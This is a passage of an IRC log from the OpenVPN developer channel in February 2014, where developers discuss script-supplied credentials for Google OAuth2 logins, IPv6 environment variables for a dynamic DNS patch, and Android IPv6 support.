I'd rather that openvpn execute the script, rather than the script execute openvpn 14:20 < omri> it also makes it more difficult to implement with OVPN configuration managers (like tunnelblick) 14:20 <+krzee> well good luck 14:20 < omri> luck is indeed what I need :) 14:21 < omri> I think that oauth2 support for openvpn will be good for the community. I'm willing to open source the implementation when it's done. 14:22 <+krzee> cool =] 14:24 < omri> I also brought it up on the mailing list. Which place would be better for discussing it? 14:27 < omri> The wrong mailing list apparently :) Google groups has a different openvpn-devel .. 14:30 -!- omrib [~omrib@unaffiliated/omri] has joined #openvpn-devel 14:30 -!- omri is now known as omri- 14:31 -!- omrib is now known as omri 14:32 -!- omri- [~textual@unaffiliated/omri] has quit [Quit: Textual IRC Client: www.textualapp.com] 14:33 <+krzee> here and the openvpn-devel mailing list are best, i believe the mail list gets more action but the weekly meetings are here --- Log closed Sun Feb 02 18:23:57 2014 --- Log opened Mon Feb 03 06:52:28 2014 06:52 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 06:52 -!- Irssi: #openvpn-devel: Total of 11 nicks [6 ops, 0 halfops, 0 voices, 5 normal] 06:52 -!- Irssi: Join to #openvpn-devel was synced in 2 secs 06:53 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:09 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 07:14 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 07:14 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 07:14 -!- ServerMode/#openvpn-devel [+o cron2] by sendak.freenode.net 07:25 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Write error: Broken pipe] 07:28 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:29 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:33 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Write error: Broken pipe] 07:43 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:44 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 07:50 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:52 -!- jglick [~quassel@66.31.32.131] has joined #openvpn-devel 08:04 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 08:21 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 272 seconds] 08:29 -!- jglick [~quassel@66.31.32.131] has quit [Ping timeout: 486 seconds] 08:52 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Write error: Broken pipe] 09:06 -!- mattock_afk [~mattock@2607:5300:60:d5a::2] has joined #openvpn-devel 09:06 -!- mattock_afk is now known as mattock 09:06 -!- jglick [~quassel@c-66-31-32-131.hsd1.ma.comcast.net] has joined #openvpn-devel 09:20 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has quit [Ping timeout: 297 seconds] 09:40 -!- mattock [~mattock@2607:5300:60:d5a::2] has quit [Ping timeout: 272 seconds] 09:40 -!- jglick [~quassel@c-66-31-32-131.hsd1.ma.comcast.net] has quit [Read error: Connection reset by peer] 10:51 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 10:51 -!- mode/#openvpn-devel [+o plai] by ChanServ 11:00 -!- jglick [~quassel@c-66-31-32-131.hsd1.ma.comcast.net] has joined #openvpn-devel 11:00 -!- mattock [~mattock@2607:5300:60:d5a::2] has joined #openvpn-devel 11:00 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 11:02 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 11:09 -!- mattock [~mattock@2607:5300:60:d5a::2] has quit [Changing host] 11:09 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:09 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:16 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:28 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:06 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 14:06 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 15:36 <@cron2> yay, some heat for android... https://code.google.com/p/android/issues/detail?id=32630 15:36 <@vpnHelper> Title: Issue 32630 - android - Support connecting to IPv6-only wireless networks - Android Open Source Project - Issue Tracker - Google Project Hosting (at code.google.com) 15:36 <@cron2> about a ton of pissed android users after fosdem... 15:42 -!- ibins [~ibins@cl-147.ham-02.de.sixxs.net] has quit [Ping timeout: 245 seconds] 15:42 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 245 seconds] 15:42 -!- ibins [~ibins@cl-147.ham-02.de.sixxs.net] has joined #openvpn-devel 15:47 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 15:55 -!- dazo is now known as dazo_afk 17:19 -!- Netsplit *.net <-> *.split quits: ibins 17:54 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:00 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 18:00 -!- mode/#openvpn-devel [+o pekster] by ChanServ 18:24 -!- jglick [~quassel@c-66-31-32-131.hsd1.ma.comcast.net] has quit [Ping timeout: 272 seconds] --- Day changed Tue Feb 04 2014 00:38 -!- Netsplit *.net <-> *.split quits: @syzzer 00:43 <@plai> cron2: what happend at fosdem? Did they have a NAT64 in place? 01:07 <@plai> *sigh* there is no way to specify a ipv6 route that does not point to the vpn in OpenVPN or am I missing something? 01:55 <@cron2> plai: the primary wifi at fosdem was "IPv6-only with NAT64", which Android refuses ("no v4 here, not usable") unless you manually do static IPv4 config 01:55 <@cron2> in regards to "ipv6 routes in OpenVPN" - well, right now it only does "send route to tunnel", true. But for your case it would be tricky anyway, as "do ipv6 routes" would be "send to management interface" 02:06 <@plai> yeah 02:06 <@plai> I am just trying to figure out my "exclude routes" hack 02:07 <@plai> and I wondered if there was a way to actually specify what I want in the openvpn config 02:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:08 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:08 <@cron2> right now, I think "no". The logic to add non-tun0 nexthops should not be so hard (we need to do nexthops for tap anyway) but it won't solve the issue for you, unless you add "if it's tun -> management if, if not -> call /sbin/route" logic 02:12 <@plai> cron2: nah it should still go to management 02:13 <@plai> But since I can only specify routes over tun I calculated set of routes that is not overlappen 02:13 <@plai> like inlude 0.0.0.0 to tun0 and 64.0.0.0/2 to vpn_gateway, the app will only install 0.0.0.0/2 and 128.0.0.0/1 as routes 02:14 <@cron2> mmmh. For that you shouldn't need next hops? So I'm a bit confused now 02:18 <@plai> yeah. I extended the android control messages to include the next hop 02:40 <@cron2> interesting. On $wife's ancient mac mini, tunnelblick's bundled openvpn 2.3.2 crashes, while 2.2.1 worls 02:42 <@plai> cron2: interesting 02:42 <@plai> got assertion or a log? 02:42 <@plai> or just a random sigsev 02:42 <@cron2> lemme see. the gui wasn't helpful, let's try from the cli 02:43 <@cron2> Tue Feb 4 09:43:32 2014 Socket Buffers: R=[42080->100000] S=[9216->100000] 02:43 <@cron2> Bus error 02:44 <@plai> hm 02:44 <@plai> :/ 02:44 <@cron2> darwin 9.8.0, what OSX is that? 02:46 <@plai> mavericks is 13.0.0 02:46 <@plai> http://en.wikipedia.org/wiki/Darwin_(operating_system) 02:46 <@plai> 10.5.8 according to that table 02:47 <@cron2> Mmmh. If that is still officially supported by Tunnelblick, I should report the issue... "but not right now" 02:48 <@cron2> if we really needed IPv6 there - which we don't need right now - I'll just plug in my own git master binary :) 02:51 <@plai> hm 02:51 <@plai> I need to send patches to openvpn-devel 02:52 <@plai> my own tree is growing again ... :/ 02:52 <@plai> https://github.com/schwabe/openvpn/commits/icsopenvpn_67 02:52 <@vpnHelper> Title: Commits · schwabe/openvpn · GitHub (at github.com) 03:01 <@cron2> you have too much time on your hands :-) - I should find time thu/fri to work on some of the outstanding patches 03:16 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:16 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 05:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 05:45 -!- dazo_afk is now known as dazo 05:53 -!- omrib [~omrib@unaffiliated/omri] has joined #openvpn-devel 06:01 -!- omrib is now known as omri 06:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:13 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:25 <@mattock1> I started setting up Trac <-> LDAP email sync today... should be quite doable 12:25 <@mattock1> adding the code to Trac seemed a bit hairy, so I think I'll just do an external, scheduled sync for those users that have logged into Trac at some point 14:41 <@ecrist> seems reasonable. 15:30 -!- dazo is now known as dazo_afk 16:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 18:06 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 252 seconds] --- Day changed Wed Feb 05 2014 01:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:20 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:28 -!- dazo_afk is now known as dazo 03:10 <@cron2> plaisthos: have you ever done something with SCTP? I wonder whether that might be useful for OpenVPN 2.5 :-) 03:11 <@plai> cron2: I read the wikipedia page about it 03:11 <@plai> also my target system (Android) has no sctp support 03:13 <@cron2> plai: and I thought android was totally advanced... :o 03:15 <@plai> cron2: like support IPv6 only networks? ;) 03:15 <@plai> or not breaking ipv6 vpn support? 03:15 <@plai> Yeah it is totally into new protocols 03:16 <@plai> I don't even think Android supports multi path tcp 03:16 <@plai> which iOS already uses for communication with apple servers 03:33 <@cron2> plai: mptcp is something *I* need to look into :-) - it sounds like "oh, we could use SCTP, but firewalls do not like that, so make a new protocol" :-) 03:50 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 03:50 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:01 <@plai> cron2: yeah 04:02 <@plai> cron2: and throw the useful stuff of sctp overboard 04:02 <@plai> like multiple streams 04:04 <@plai> (then browsers would not need to open multiple tcp streams) 04:25 <@plai> [11:24]arne@pluto:~% curl multipath-tcp.org 04:25 <@plai> Nay, Nay, Nay, your have an old computer that does not speak MPTCP. Shame on you! 04:25 <@plai> :( 05:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 07:27 <@plai> community.openvpn.net looks horrible on mobile 07:28 <@plai> http://plai.de/android/Bildschirmfoto%202014-02-05%20um%2014.25.11.png 08:22 -!- dazo is now known as dazo_afk 14:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:57 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 15:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 15:48 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 252 seconds] 15:50 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 15:50 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 19:41 -!- raidz is now known as raidz_away 19:47 -!- raidz_away is now known as raidz --- Day changed Thu Feb 06 2014 02:38 <+krzee> [00:37] <manitu> i now did: kill my local client (ctrl + c), change the ccd, reconnect.. the new rule "10.132.182.0/24" was not added, but the routes i added before restarting the server are there 02:38 <+krzee> [00:37] <krzee> weird ive made many changes to ccds on running servers and they always apply for me 02:38 <+krzee> [00:37] <krzee> dunno whats different for you 02:38 <+krzee> [00:38] <krzee> but ccd is read when the client connects 02:38 <+krzee> did that change in newer versions? 02:39 <@cron2> ccd applies right away 02:39 <@cron2> "route" statements don't go into ccd files 02:40 <+krzee> ya they are push routes 02:41 <@cron2> push stuff is fine 03:33 <@vpnHelper> RSS Update - tickets: #369: IPv6 info wrong/missing in scripts environment. <https://community.openvpn.net/openvpn/ticket/369> 04:20 <+krzee> note, the OP of that ^ is in #openvpn right now 06:01 <@plaisthos> krzee: yeah. That patch needs work :P 07:29 -!- Irssi: #openvpn-devel: Total of 16 nicks [11 ops, 0 halfops, 1 voices, 4 normal] 15:08 -!- raidz is now known as raidz_away 15:09 -!- raidz_away is now known as raidz 15:29 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 15:29 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 15:32 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:32 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:32 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:38 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 15:38 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 15:39 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:39 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:40 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:40 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:36 <@pekster> ecrist: So, initial thoughts are that I like the idea, but I'd like to tweak the way it's implemented. With my quick glance (I'll dig more later tonight) it seems the samples just drop a 2nd [req] section at the end of the config file, and this feels really clunky, assuming it actually works 16:37 <@pekster> I'm on the fence about the param; it does change the first-argument, and most (99%+) of users won't want/need it. Maybe it could be made optional and default to the traditional "don't do anything special" behavior 16:38 <@pekster> Sadly, there's no way to pass an extension directly in, hence the sed hack to insert it at the 'MAGIC' line now. Changes to req-opts will probably follow the %EXTRA_EXTS% processing (maybe it can be dove-tailed in too.) So, +1 to the feature, but I'm not happy with the overall design as-is 16:41 <@pekster> Plus the samples put in the ugly country/city/state nonsense by default. I don't like that, but as commented options or a separate file. People who have exotic needs can do it themselves or we can commit them as contrib/ drops 16:41 <@pekster> (I'll be out for a bit but back later) 18:05 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: Abandon ship! This server is (slowly) sinking] 18:06 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 18:06 -!- mode/#openvpn-devel [+o pekster] by ChanServ 18:18 -!- kcodyjr [~kcodyjr@2002:32a9:2d5:8000::100] has joined #openvpn-devel 18:19 < kcodyjr> hi folks. came to talk about that stinker of a patch i submitted last night. no doubt it needs work, at least some manpage updates. is there an openvpn-internals-for-dummies guide? 18:20 < kcodyjr> i'll be right up front, i made that patch without a clue what i was really toying with, grepping and 2+2=new_stanza, but it did do what i expected in at least the 1st test case. 20:17 -!- kcodyjr [~kcodyjr@2002:32a9:2d5:8000::100] has quit [Ping timeout: 245 seconds] 20:30 -!- kcodyjr [~kcodyjr@c-24-61-134-125.hsd1.ma.comcast.net] has joined #openvpn-devel 21:55 <@vpnHelper> RSS Update - tickets: #370: ifconfig syntax change insufficiently documented <https://community.openvpn.net/openvpn/ticket/370> 22:01 <@vpnHelper> RSS Update - tickets: #371: manpage speaks of the ifconfig tool <https://community.openvpn.net/openvpn/ticket/371> 22:53 <@pekster> kcodyjr: You might be better off posting a patch to the ML where it has a bit more visibility, and that's the normal submission process when you're read for a formal review. Offhand you should be keying off of the multi_instance struct passed in as *mi for the v6 support (shoudn't set those if it's undefined, probably.) see mi->options. The c2 member (defined in openvpn.h under 'struct context_2') has helpful elements like ... 22:54 <@pekster> ... push_ifconfig_ipv6_defined 22:54 <@pekster> Also, the gc needs to get freed, otherwise it just allocates memory and never gives it up 22:55 < kcodyjr> ok that's something i can bite into 22:55 <@pekster> netbits would be the equivilent of netmask, so consider that too 22:55 < kcodyjr> i did actually, but bits/mask seems already covered 22:56 <@pekster> Ah, if it's in another env-var then yea, duplicate effort 22:56 < kcodyjr> they come along with the ifconfig_[ipv6_]{local,remote} variables 22:57 < kcodyjr> seems plain to me that the two _pool_{local,remote}_ip variants couldn't possibly have a different netmask 22:57 <@pekster> fwiw, you might consider avoiding all the string crud and just making a v6-version of setenv_in_addr_t (such as setenv_in_addr6_t) from socket.c 22:57 < kcodyjr> if that's the "right" way to do it 22:57 < kcodyjr> *sigh* 22:57 < kcodyjr> i wasn't planning to take a deep dive into a major codebase this month. 22:58 <@pekster> Well, if the behavior does the right thing, at the very least you'd need a gc_free call 22:58 < kcodyjr> which is easy enough to add. but i hate hacking things when i know it's not the right way. 22:59 <@pekster> Right. You'll find lots of that in this codebase. Some of it was done quickly, and others got expanded past the original scope. Lots of it is "somewhat elegant", if not confusing :P 23:02 < kcodyjr> i noticed. 23:02 < kcodyjr> is anyone talking about a 3.0 yet? 23:02 < kcodyjr> a feature neutral release, if you get my drift 23:04 <@pekster> There's some C++ codebase floating around, but I know next to nothinga bout it 23:04 < kcodyjr> wasn't the direction i was thinking. this is totally handwaving, by the way, maybe a little bit of s**t thrown at the wall too. 23:05 < kcodyjr> but i was thinking, i'd love to have the tunnel broker itself, written pure and clean, wrapped up in a nice neat little perl object interface, and let each language do what it's good at. packet processing in C, string processing in perl 23:07 < kcodyjr> read: configuration in the scripted easily manipulable relatively idiot-proof language. 23:07 < kcodyjr> but, i digress. 23:07 < kcodyjr> i'll see how bad it looks trying to do it right. 23:13 <@pekster> Maybe play with this as a start: http://pastebin.kde.org/plgez6utd 23:14 <@pekster> untested, but give it a whirl in place of your string stuff (and avoid the gc_arena as a bonus.) The rest is just keying off the right states in the c2 context for the v6 bits 23:14 <@pekster> Minus the missing addr variable in the function def 23:30 < kcodyjr> i have, of late, been spending far too much time on this, because it interests me personally as well as professionally. 23:30 < kcodyjr> but obviously i can't give up now. 23:31 < kcodyjr> oh, i can deliver good ddns semantics for v4 now. bit lacking on the error reporting and documentation though, and the interface script to openvpn could use an overhaul. 23:31 <@pekster> Stick around for a bit; I can probably have a compile-tested (but not properly tested) alternative in a moment 23:31 < kcodyjr> if you're that much faster than i... 23:32 < kcodyjr> getting those two variables straightened out, and then running a few tests in the various modes to verify which ones will be there in what circumstances, and i can deliver working ddns for dual stack as well. i've got no testing place for a pure-v6 or a dual-over-v6 situation. 23:34 < kcodyjr> but getting it truly rfc4701/rfc4703 compliant, or even just minimally able to coexist with a dhcp server in the same dns zone, will mean getting additional information from the client into the script... ideally, send me the same persistent systemwide all-interfaces ipv6 duid that they should all have hiding on the filesystem somewhere. but, as a temporary hack, i can implement a server-side ethers table parsed by the perl scr 23:34 < kcodyjr> ipt, since that's usually what dhcpd is itself using. 23:37 < kcodyjr> heh. and before i learned that net30 is on the deprecation path, i'd implemented reverse lookups for the client tunnel endpoint too, by copying whatever the server tunnel endpoint PTR record was. that's where i've got it retrieving the DDNS domain name from, by the way, so I hope the existence of the server-side tunnel endpoint will continue. otherwise i need to get that value elsewhere. --- Day changed Fri Feb 07 2014 06:54 < omri> how can I inject username & password dynamically without using an agent? I'm looking for a plugin/script solution 07:00 <@d12fk> there's the OPENVPN_PLUGIN_AUTH_USER_PASS_VERIFY hook plugins can provide username and password in 07:01 < omri> d12fk: that's for the serve side. how about the client side? 07:01 <@d12fk> ah, for the client side there's only the mgmt interface for providing them dynamically 07:02 < omri> it's no good for me since I'm already using an agent (OpenVPN GUI on Windows, Tunnelblick on Mac and Network Manager on Ubuntu) 07:03 < omri> if I made a pull request with auth-user-pass via script, would it be merged? 07:03 <@d12fk> you can put static info into a file, too 07:03 < omri> it's dynamic :) 07:03 < omri> I wrote Google OAuth2 authentication scripts for OpenVPN 07:03 < omri> works perfectly when typing the credentials in manually, but I want to automate this process 07:03 < omri> I'm planning on releasing the code, too 07:05 <@d12fk> where does the script get the data from? 07:05 * cron2 doesn't do pull requests, but does "review code that is sent to openvpn-devel list" 07:06 < omri> a web server. I perform an oauth2 authentication with the user's browser and send the credentials back to a script 07:06 < omri> I can elaborate more on the architecture if you'd like 07:07 < omri> cron2: whatever it'd take to get my code in :) 07:08 < omri> I just want to make sure I don't write something that is fundamentally unacceptable 07:08 < omri> regardless to code quality, that is. 07:10 <+krzee> so are you thinking of expanding the plugin interface or adding a new script hook? 07:10 <@cron2> understood. There's an auth-user-pass <inline> patch already floating around, so maybe coordinate with the author of that one... 07:11 < omri> krzee: either that, or adding a support for auth-user-pass via-script or something 07:11 < omri> cron2: wonderful. I'll look it up 07:12 < omri> I'm really looking forward on releasing my Google OAuth2 authentication mechanism 07:20 < omri> cron2: were you referring this post from 2005 http://openvpn.net/archive/openvpn-users/2005-05/msg00036.html ? 07:20 <@vpnHelper> Title: [Openvpn-devel] Patch for Password authentication (at openvpn.net) 07:22 < omri> or this one http://permalink.gmane.org/gmane.network.openvpn.devel/7903 ? 07:22 <@vpnHelper> Title: [PATCH] Allow inlining of --auth-user-pass (at permalink.gmane.org) 07:24 < omri> never mind. it's the second one. I'll contact him, thanks. 08:02 -!- e-ndy [~e-ndy@fantomas.bestit.cz] has joined #openvpn-devel 08:02 -!- e-ndy [~e-ndy@fantomas.bestit.cz] has left #openvpn-devel ["Ex-Chat"] 08:30 < waldner> omri: IIUC, your need is different from the one my patch tries to solve 08:30 < omri> waldner: your patch is inlining --auth-user-pass ? 08:31 < waldner> yes 08:31 < waldner> though I suppose a change in that direction would necessarily touch the same parts of the code 08:31 < omri> yes, that's what I thought as well. 08:31 < waldner> essentially, you want a mechanism to obtain user/pass from a script, right? 08:31 < omri> btw why wasn't it merged yet? 08:31 < omri> indeed. 08:31 < waldner> it's in the queue 08:32 < waldner> essentially we'd need a new syntax to tell openvpn that it has to run a script 08:32 < waldner> so I suspect that would also need to be tied to the existing script-security checks 08:33 < omri> how would you currently specify a path to a file which contains a space? 08:33 < omri> do you have to quote it? 08:33 < omri> and about script security, sure. makes sense. 08:33 < waldner> I haven't tried, but that should be the parser's job 08:34 < waldner> I mean, specifying the path to a file was already possible, if it worked, it still works, if not, then it was already broken 08:34 < waldner> if one doesn't inline auth-user-path, the old code path is run 08:34 < omri> that's right, but we wouldn't want to break backwards compatibility, so if it doesn't require you to quote it, having "auth-user-pass" accept one or two parameters will break it. 08:34 < waldner> yes, that's open to discussion 08:35 < waldner> in fact, an alternative to inlining aut-user-pass was indeed to do something like auth-user-pass user foo pass bar 08:35 < waldner> and have the config parser check how many argument are specified and work out what to do 08:35 < waldner> but this alternative was (I think) less appealing 08:36 < waldner> though with your proposal now, it may make sensa again 08:36 < omri> I guess the config parser treats <inline> differently 08:36 < omri> so that's not an issue for your patch 08:36 < waldner> auth-user-pass script /path/to/foo.sh 08:36 < waldner> and then tcheck what the first word after auth-user-pass is, and decide what to do 08:36 < omri> however, if we'd add the optional "script" parameter to the "auth-user-pass" statement (the non-inline version of it), it'd be problematic 08:37 < omri> that's not the cleanest implementation IMHO 08:37 < waldner> it will break configs of those that had a file called "script" 08:37 < waldner> ah, not even that 08:37 < waldner> since in that case they'd have "auth-user-pass script" 08:37 < waldner> but in your case we'd have "auth-user-pass script blah.sh" 08:37 < waldner> so two args versus one 08:37 < omri> yes 08:37 < omri> that's my point 08:37 < waldner> so nothing would be broken 08:38 < omri> but, if the old syntax required you to do auth-user-pass "script blah.sh", we're ok. 08:38 < waldner> I suppose we can document that the script name should not have spaces and not worry too much about that 08:38 < waldner> s/script/password file/ 08:39 < waldner> I don't know if the parser supports quoted strings 08:39 < omri> I'll have a look at the code 08:39 < waldner> I might have a few hours this weekend to check 08:40 < waldner> sunday, likely 08:40 < omri> waldner: I would really appreciate it. thanks 08:41 < waldner> I think your idea makes sense, independently from the fact that it's needed for oauth 08:41 < omri> yeah I was shocked the only way to do it was with an agent 08:41 < waldner> well, the typical way would be using the management interface 08:41 < omri> speaking of agents, how come it's impossible to implement an agent inside a plugin, or to have multiple agents? 08:42 < waldner> so you could also look at those apps that use the MI and push them to support running external scripts 08:42 < omri> waldner: that's changing at least 3 code bases instead of one :) 08:42 < omri> we're using Windows, Mac and Linux computers where I work 08:43 < waldner> I see 08:43 < waldner> (at least NM would have to be changed anyway if the inlined auth-user-pass thing goes in) 08:44 < waldner> probably the others too 08:44 < omri> OpenVPN GUI for windows won't be, for sure. It doesn't create the config file for you 08:44 < waldner> right 08:44 < omri> and it seems like Tunnelblick will accept my config as well 08:45 < omri> As for network manager, that might be right. 08:45 < omri> anyway, if we add this script support to the config file auth-user-pass, wouldn't we have to add it to the plugin interface as well? 08:45 < omri> that means I could write a plugin to do that for me, and as long I can add a plugin with NM I should be OK 08:45 < waldner> cron2: (or other devels) is a meeting planned for...soon? 08:46 < waldner> the plugin mechanism may be yet another way to do it 08:47 < omri> for what I've seen, seems like every script can be implemented with a plugin as well 08:47 < waldner> AFAIK there's no hook currently to be called to get user/pass 08:47 < omri> but I haven't dug too deep in the code 08:47 < omri> to my knowledge too, that is not possible 08:47 < waldner> yes, but there are only so few hooks/points where a plugin or script is invoked 08:47 < omri> also, I think the script interface doesn't support getting any output from a script, other than exit code 08:47 < waldner> so the mechanism could be extended, but that's probably even more work 08:48 < omri> the only place that I could think of that does something similar is the auth-user-pass-verify via-file script 08:48 < waldner> I believe you're right (without checking) 08:48 < omri> it writes the credentials to the file and invokes the script. Could specify a file and have the script write the credentials to it 08:48 < omri> reading it afterwards. 08:49 < omri> instead of implementing stdin/stdout IPC 08:49 < waldner> I'm perfectly fine with extending the patch, but I think you make good points that are worth discussing in general 08:50 < waldner> (also to keep things "consistent" we should also allow the script to return both username and password or only one of them) 08:50 < waldner> well, only the password 08:51 < waldner> and the username hardcoded in the config, if the user so wants 08:51 < omri> waldner: that is indeed a lot of corner cases :\ 08:52 < waldner> in fact, that's the whole reason I write the patch 08:52 < waldner> I user auth-user-pass and I wanted to put the username in the config somehow, to avoid typing it every time 08:53 < omri> yeah I saw this discussion somewhere, github IIRC 08:54 < waldner> also if we knew the status of the existing patch, perhaps it could be wise to go one step at a time (apply it, then add the new feature to master), rather than a gigantic single patch that does everything 08:56 < waldner> I'd also have to review it, since it's quite old and so many things have gone in, that it may even no longer merge cleanly 08:56 < waldner> in short: you've opened the pandora box :-) 08:56 < omri> lovely 08:58 < omri> why wasn't it merged already? :O 08:58 < waldner> that's not for me to answer 09:21 -!- dlinares [~dlinares@90.216.134.193] has joined #openvpn-devel 09:29 < waldner> omri: I don't know the details of your environment (and I'm not sure about oauth2 either, I read something about it a long ago), but as a temporary workaround that would work with vanilla openvpn, why don't you write a wrapper script that just generates user and pass, stores them in a file and then starts openvpn using auth-user-pass to read that file? 09:41 < omri> waldner: how would you make tunnelblick/openvpn gui/networkmanager use that wrapper then? 09:42 < omri> waldner: and my password is only valid for 60 seconds, making the reconnect problematic 09:42 < waldner> ok, that's why I put forward that I didn't know the details 09:42 < omri> also, windows is a bit limiting. 09:42 < waldner> I still maintain your points are good, I was just trying a suggestion. 09:43 < omri> I also had an idea to make openvpn read it from a pipe, and have my script push it to the pipe 09:43 < omri> yeah sure, thank you 09:43 < omri> problem is I don't think pipes are supported on windows 09:47 < omri> yup. fifos are not supported on Windows 09:51 <@plaisthos> why aren't you using the management interface? 09:52 < omri> plaisthos: because I'm using openvpn with other managers 09:55 <@plaisthos> so what happens if these managers specify management-query-user-pass? 09:56 < omri> I'll have to insert the credentials through the gui 09:56 < omri> I want to automate this process 09:57 < omri> I'll give you a little context: I wrote a mechanism that uses Google OAuth2 for generating an OTP which is valid for 60 seconds 09:57 < omri> right now the users opens a web page and gets a password, he then copies it to the GUI of his manager 09:57 <@plaisthos> right 09:58 < omri> I can get these credentials via script, so I want to automate this process 10:01 -!- dlinares [~dlinares@90.216.134.193] has left #openvpn-devel ["Leaving"] 11:51 <@pekster> kcodyjr: Try this. It passes a compile test for me, but I haven't otherwise tested it. Give it a whirl? https://github.com/QueuingKoala/openvpn/commit/0c38c3a 11:51 <@vpnHelper> Title: Initial support for IPv6 ifconfig-pool env-vars · 0c38c3a · QueuingKoala/openvpn · GitHub (at github.com) 11:53 <@pekster> That's based on git-master, so I'm not sure it applies clean to 2.3.2 (might as well just build off of a master copy anyway. Maybe throw on --disable-snappy unless you have libs already) 12:32 < kcodyjr> pekster, net30 will never exist in ipv6, correct? 12:33 <@cron2> yep 12:34 <@cron2> ipv6 ignores --topology, it's always "subnet" 12:34 < kcodyjr> or net126, whatever. meaning there'll never be an ifconfig_ipv6_pool_local_ip that differs from ifconfig_ipv6_local. so i think we can drop that variable. 12:34 * cron2 is not sure he understands all those variables, tbh, and had not enough brains to investigate :-) 12:35 <@cron2> but yes on that 12:35 < kcodyjr> fair nuff. it's been twisting my tail for a couple weeks like that. ;) 12:35 < kcodyjr> one thing that bit me in the duff is that sometimes, the variables have different meanings, but of course the symbol doesn't change. 12:35 < kcodyjr> just the handling. 12:49 <@cron2> that is most annoying for the ipv4 stuff, yes 12:49 <@cron2> but I'm not changing that - we inherited it :-) - and I'm much more interested in getting IPv6 right 13:07 < kcodyjr> well, based on a brutal hack of a first run patch to expose those variables, i've gotten ddns updating working for dual stack, and in net30, it handles the peer's endpoint address too. so i was mildly annoyed when i found out it's on the drain path. but only mildly. ;) 14:22 -!- mattock is now known as mattock_afk 16:26 <@pekster> kcodyjr: Hmm? The 3 v6-vars in my linked repo patch are each possibly available for v6 too 16:26 <@pekster> Or maybe I misunderstood 16:27 <@pekster> v6 can be used in either tun or tap modes; when in tap, you get the netbits (it seemed the "complete" thing to do), and in tun you get push_ifconfig_ipv6_local_ip 16:28 <@pekster> I'm more curious if it does the right thing with your vars or not. fwiw, 